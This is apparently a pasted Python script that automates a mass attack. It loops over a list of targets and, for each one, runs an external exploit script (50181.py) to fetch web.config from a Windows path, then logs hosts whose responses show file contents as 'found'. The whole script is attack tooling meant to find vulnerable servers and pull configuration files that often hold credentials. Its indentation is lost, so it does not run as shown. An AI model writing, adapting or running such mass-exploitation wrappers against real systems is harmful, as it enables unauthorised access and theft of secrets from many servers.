Untitled
unknown
plain_text
2 years ago
1.5 kB
6
Indexable
#!/usr/bin/env python3
import subprocess
import shlex
# Define the file containing the list of words
list_file = "list.txt"
# Check if the list file exists
try:
with open(list_file, 'r') as f:
words = f.read().splitlines()
except FileNotFoundError:
print(f"Error: List file '{list_file}' not found!")
exit(1)
# Specify the output file to save filtered results
output_file = "filtered_results.txt"
# Loop over each word in the list
for word in words:
# Construct the command
command = f"python3 50181.py -u {word} -f web.config -p 'C:\\Users\\public'"
print(f"Executing command: {command}")
# Execute the command with a timeout of 20 seconds
try:
process = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
result, error = process.communicate(timeout=20)
result = result.decode('utf-8')
error = error.decode('utf-8')
# Check if the response contains either "fileinfo" or "Version"
if "fileinfo" in result or "Version" in result:
# If either "fileinfo" or "Version" is found, save the word followed by "=> found" to the output file
with open(output_file, 'a') as f:
f.write(f"{word} => found\n")
except subprocess.TimeoutExpired:
print(f"Timeout occurred for {word}. Skipping...")
continue
print(f"Filtered results saved in {output_file}")
Editor is loading...
Leave a Comment